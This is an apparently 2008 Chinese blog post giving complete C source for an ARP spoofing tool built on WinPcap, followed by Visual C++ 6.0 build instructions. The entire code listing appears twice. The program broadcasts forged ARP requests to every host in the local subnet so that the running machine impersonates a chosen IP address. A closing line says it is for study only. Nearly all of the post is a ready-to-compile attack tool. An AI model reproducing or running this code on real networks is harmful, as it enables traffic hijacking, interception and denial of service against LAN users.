ARP欺骗源码(基于WinPcap实现)
ARP欺骗源码(基于WinPcap实现) 佟强 2008.10.8
- //ArpCheat.h
- #ifndef MY_ARP_CHEAT_INCLUDE_H
- #define MY_ARP_CHEAT_INCLUDE_H
- //字节对齐必须是1
- #pragma pack (1)
- struct ethernet_head
- {
- unsigned char dest_mac[6]; //目标主机MAC地址
- unsigned char source_mac[6]; //源端MAC地址
- unsigned short eh_type; //以太网类型
- };
- struct arp_head
- {
- unsigned short hardware_type; //硬件类型:以太网接口类型为1
- unsigned short protocol_type; //协议类型:IP协议类型为0X0800
- unsigned char add_len; //硬件地址长度:MAC地址长度为6B
- unsigned char pro_len; //协议地址长度:IP地址长度为4B
- unsigned short option; //操作:ARP请求为1,ARP应答为2
- unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址
- unsigned long sour_ip; //源IP地址:发送方的IP地址
- unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
- unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
- unsigned char padding[18];
- };
- struct arp_packet //最终arp包结构
- {
- ethernet_head eth; //以太网头部
- arp_head arp; //arp数据包头部
- };
- #pragma pack ()
- /**
- * 获得网卡的MAC地址
- * pDevName 网卡的设备名称
- */
- unsigned char* GetSelfMac(char* pDevName);
- /**
- * 封装ARP请求包
- * source_mac 源MAC地址
- * srcIP 源IP
- * destIP 目的IP
- */
- unsigned char* BuildArpPacket(unsigned char* source_mac,
- unsigned long srcIP, unsigned long destIP);
- #endif
- //ArpCheat.cpp
- #include <stdio.h>
- #include <pcap.h>
- #include <conio.h>
- #include <packet32.h>
- #include <ntddndis.h>
- #include "ArpCheat.h"
- int main(int argc,char* argv[]){
- pcap_if_t *alldevs; //全部网卡列表
- pcap_if_t *d; //一个网卡
- int inum; //用户选择的网卡序号
- int i=0; //循环变量
- pcap_t *adhandle; //一个pcap实例
- char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
- unsigned char *mac; //本机MAC地址
- unsigned char *packet; //ARP包
- unsigned long fakeIp; //要伪装成的IP地址
- pcap_addr_t *pAddr; //网卡地址
- unsigned long ip; //IP地址
- unsigned long netmask; //子网掩码
- if(argc!=2){
- printf("Usage: %s inet_addr/n",argv[0]);
- return -1;
- }
- //从参数列表获得要伪装的IP地址
- fakeIp = inet_addr(argv[1]);
- if(INADDR_NONE==fakeIp){
- fprintf(stderr,"Invalid IP: %s/n",argv[1]);
- return -1;
- }
-
- /* 获得本机网卡列表 */
- if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
- {
- fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
- exit(1);
- }
-
- /* 打印网卡列表 */
- for(d=alldevs; d; d=d->next)
- {
- printf("%d", ++i);
- if (d->description)
- printf(". %s/n", d->description);
- else
- printf(". No description available/n");
- }
- //如果没有发现网卡
- if(i==0)
- {
- printf("/nNo interfaces found! Make sure WinPcap is installed./n");
- return -1;
- }
- //请用户选择一个网卡
- printf("Enter the interface number (1-%d):",i);
- scanf("%d", &inum);
-
- //如果用户选择的网卡序号超出有效范围,则退出
- if(inum < 1 || inum > i)
- {
- printf("/nInterface number out of range./n");
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
-
- /* 移动指针到用户选择的网卡 */
- for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
-
- mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"
- printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s/n",
- mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);
- /* 打开网卡 */
- if ( (adhandle= pcap_open(d->name, // name of the device
- 65536, // portion of the packet to capture
- 0, //open flag
- 1000, // read timeout
- NULL, // authentication on the remote machine
- errbuf // error buffer
- ) ) == NULL)
- {
- fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",
- d->name);
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
- for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){
- //得到用户选择的网卡的一个IP地址
- ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
- //得到该IP地址对应的子网掩码
- netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
- if (!ip || !netmask){
- continue;
- }
- //看看这个IP和要伪装的IP是否在同一个子网
- if((ip&netmask)!=(fakeIp&netmask)){
- continue; //如果不在一个子网,继续遍历地址列表
- }
- unsigned long netsize = ntohl(~netmask); //网络中主机数
- unsigned long net = ip & netmask; //子网地址
- for(unsigned long n=1; n<netsize; n++){
- //第i台主机的IP地址,网络字节顺序
- unsigned long destIp = net | htonl(n);
- //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
- packet = BuildArpPacket(mac,fakeIp,destIp);
- if(pcap_sendpacket(adhandle, packet, 60)==-1){
- fprintf(stderr,"pcap_sendpacket error./n");
- }
- }
- }
- return 0;
- }
- /**
- * 获得网卡的MAC地址
- * pDevName 网卡的设备名称
- */
- unsigned char* GetSelfMac(char* pDevName){
- static u_char mac[6];
- memset(mac,0,sizeof(mac));
- LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
- if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
- {
- return NULL;
- }
- PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
- if (OidData == NULL)
- {
- PacketCloseAdapter(lpAdapter);
- return NULL;
- }
- //
- // Retrieve the adapter MAC querying the NIC driver
- //
- OidData->Oid = OID_802_3_CURRENT_ADDRESS;
- OidData->Length = 6;
- memset(OidData->Data, 0, 6);
- BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
- if(Status)
- {
- memcpy(mac,(u_char*)(OidData->Data),6);
- }
- free(OidData);
- PacketCloseAdapter(lpAdapter);
- return mac;
- }
- /**
- * 封装ARP请求包
- * source_mac 源MAC地址
- * srcIP 源IP
- * destIP 目的IP
- */
- unsigned char* BuildArpPacket(unsigned char* source_mac,
- unsigned long srcIP,unsigned long destIP)
- {
- static struct arp_packet packet;
- //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
- memset(packet.eth.dest_mac,0xFF,6);
- //源MAC地址
- memcpy(packet.eth.source_mac,source_mac,6);
- //上层协议为ARP协议,0x0806
- packet.eth.eh_type = htons(0x0806);
- //硬件类型,Ethernet是0x0001
- packet.arp.hardware_type = htons(0x0001);
- //上层协议类型,IP为0x0800
- packet.arp.protocol_type = htons(0x0800);
- //硬件地址长度:MAC地址长度为0x06
- packet.arp.add_len = 0x06;
- //协议地址长度:IP地址长度为0x04
- packet.arp.pro_len = 0x04;
- //操作:ARP请求为1
- packet.arp.option = htons(0x0001);
- //源MAC地址
- memcpy(packet.arp.sour_addr,source_mac,6);
- //源IP地址
- packet.arp.sour_ip = srcIP;
- //目的MAC地址,填充0
- memset(packet.arp.dest_addr,0,6);
- //目的IP地址
- packet.arp.dest_ip = destIP;
- //填充数据,18B
- memset(packet.arp.padding,0,18);
- return (unsigned char*)&packet;
- }
VC++ 6.0 中使用WinPcap
- //ArpCheat.h
- #ifndef MY_ARP_CHEAT_INCLUDE_H
- #define MY_ARP_CHEAT_INCLUDE_H
- //字节对齐必须是1
- #pragma pack (1)
- struct ethernet_head
- {
- unsigned char dest_mac[6]; //目标主机MAC地址
- unsigned char source_mac[6]; //源端MAC地址
- unsigned short eh_type; //以太网类型
- };
- struct arp_head
- {
- unsigned short hardware_type; //硬件类型:以太网接口类型为1
- unsigned short protocol_type; //协议类型:IP协议类型为0X0800
- unsigned char add_len; //硬件地址长度:MAC地址长度为6B
- unsigned char pro_len; //协议地址长度:IP地址长度为4B
- unsigned short option; //操作:ARP请求为1,ARP应答为2
- unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址
- unsigned long sour_ip; //源IP地址:发送方的IP地址
- unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址
- unsigned long dest_ip; //目的IP地址:ARP请求中为请求解析的IP地址;ARP响应中为接收方的IP地址
- unsigned char padding[18];
- };
- struct arp_packet //最终arp包结构
- {
- ethernet_head eth; //以太网头部
- arp_head arp; //arp数据包头部
- };
- #pragma pack ()
- /**
- * 获得网卡的MAC地址
- * pDevName 网卡的设备名称
- */
- unsigned char* GetSelfMac(char* pDevName);
- /**
- * 封装ARP请求包
- * source_mac 源MAC地址
- * srcIP 源IP
- * destIP 目的IP
- */
- unsigned char* BuildArpPacket(unsigned char* source_mac,
- unsigned long srcIP, unsigned long destIP);
- #endif
- //ArpCheat.cpp
- #include <stdio.h>
- #include <pcap.h>
- #include <conio.h>
- #include <packet32.h>
- #include <ntddndis.h>
- #include "ArpCheat.h"
- int main(int argc,char* argv[]){
- pcap_if_t *alldevs; //全部网卡列表
- pcap_if_t *d; //一个网卡
- int inum; //用户选择的网卡序号
- int i=0; //循环变量
- pcap_t *adhandle; //一个pcap实例
- char errbuf[PCAP_ERRBUF_SIZE]; //错误缓冲区
- unsigned char *mac; //本机MAC地址
- unsigned char *packet; //ARP包
- unsigned long fakeIp; //要伪装成的IP地址
- pcap_addr_t *pAddr; //网卡地址
- unsigned long ip; //IP地址
- unsigned long netmask; //子网掩码
- if(argc!=2){
- printf("Usage: %s inet_addr/n",argv[0]);
- return -1;
- }
- //从参数列表获得要伪装的IP地址
- fakeIp = inet_addr(argv[1]);
- if(INADDR_NONE==fakeIp){
- fprintf(stderr,"Invalid IP: %s/n",argv[1]);
- return -1;
- }
- /* 获得本机网卡列表 */
- if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
- {
- fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
- exit(1);
- }
- /* 打印网卡列表 */
- for(d=alldevs; d; d=d->next)
- {
- printf("%d", ++i);
- if (d->description)
- printf(". %s/n", d->description);
- else
- printf(". No description available/n");
- }
- //如果没有发现网卡
- if(i==0)
- {
- printf("/nNo interfaces found! Make sure WinPcap is installed./n");
- return -1;
- }
- //请用户选择一个网卡
- printf("Enter the interface number (1-%d):",i);
- scanf("%d", &inum);
- //如果用户选择的网卡序号超出有效范围,则退出
- if(inum < 1 || inum > i)
- {
- printf("/nInterface number out of range./n");
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
- /* 移动指针到用户选择的网卡 */
- for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
- mac = GetSelfMac(d->name+8); //+8以去掉"rpcap://"
- printf("发送ARP欺骗包,本机(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s/n",
- mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]);
- /* 打开网卡 */
- if ( (adhandle= pcap_open(d->name, // name of the device
- 65536, // portion of the packet to capture
- 0, //open flag
- 1000, // read timeout
- NULL, // authentication on the remote machine
- errbuf // error buffer
- ) ) == NULL)
- {
- fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",
- d->name);
- /* Free the device list */
- pcap_freealldevs(alldevs);
- return -1;
- }
- for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){
- //得到用户选择的网卡的一个IP地址
- ip = ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr;
- //得到该IP地址对应的子网掩码
- netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr;
- if (!ip || !netmask){
- continue;
- }
- //看看这个IP和要伪装的IP是否在同一个子网
- if((ip&netmask)!=(fakeIp&netmask)){
- continue; //如果不在一个子网,继续遍历地址列表
- }
- unsigned long netsize = ntohl(~netmask); //网络中主机数
- unsigned long net = ip & netmask; //子网地址
- for(unsigned long n=1; n<netsize; n++){
- //第i台主机的IP地址,网络字节顺序
- unsigned long destIp = net | htonl(n);
- //构建假的ARP请求包,达到本机伪装成给定的IP地址的目的
- packet = BuildArpPacket(mac,fakeIp,destIp);
- if(pcap_sendpacket(adhandle, packet, 60)==-1){
- fprintf(stderr,"pcap_sendpacket error./n");
- }
- }
- }
- return 0;
- }
- /**
- * 获得网卡的MAC地址
- * pDevName 网卡的设备名称
- */
- unsigned char* GetSelfMac(char* pDevName){
- static u_char mac[6];
- memset(mac,0,sizeof(mac));
- LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);
- if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
- {
- return NULL;
- }
- PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
- if (OidData == NULL)
- {
- PacketCloseAdapter(lpAdapter);
- return NULL;
- }
- //
- // Retrieve the adapter MAC querying the NIC driver
- //
- OidData->Oid = OID_802_3_CURRENT_ADDRESS;
- OidData->Length = 6;
- memset(OidData->Data, 0, 6);
- BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
- if(Status)
- {
- memcpy(mac,(u_char*)(OidData->Data),6);
- }
- free(OidData);
- PacketCloseAdapter(lpAdapter);
- return mac;
- }
- /**
- * 封装ARP请求包
- * source_mac 源MAC地址
- * srcIP 源IP
- * destIP 目的IP
- */
- unsigned char* BuildArpPacket(unsigned char* source_mac,
- unsigned long srcIP,unsigned long destIP)
- {
- static struct arp_packet packet;
- //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
- memset(packet.eth.dest_mac,0xFF,6);
- //源MAC地址
- memcpy(packet.eth.source_mac,source_mac,6);
- //上层协议为ARP协议,0x0806
- packet.eth.eh_type = htons(0x0806);
- //硬件类型,Ethernet是0x0001
- packet.arp.hardware_type = htons(0x0001);
- //上层协议类型,IP为0x0800
- packet.arp.protocol_type = htons(0x0800);
- //硬件地址长度:MAC地址长度为0x06
- packet.arp.add_len = 0x06;
- //协议地址长度:IP地址长度为0x04
- packet.arp.pro_len = 0x04;
- //操作:ARP请求为1
- packet.arp.option = htons(0x0001);
- //源MAC地址
- memcpy(packet.arp.sour_addr,source_mac,6);
- //源IP地址
- packet.arp.sour_ip = srcIP;
- //目的MAC地址,填充0
- memset(packet.arp.dest_addr,0,6);
- //目的IP地址
- packet.arp.dest_ip = destIP;
- //填充数据,18B
- memset(packet.arp.padding,0,18);
- return (unsigned char*)&packet;
- }
- 下载并安装WinPcap,安装之后在目录”C:/WINDOWS/system32“下WinPcap添加了Packet.dll、wpcap.dll。
- 增加WinPcap的include和lib路径:
Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)。 - 增加项目的静态链接库:
Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。 - 增加预编译信息:
Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。
仅供交流学习之用,请勿在真实网络环境中使用。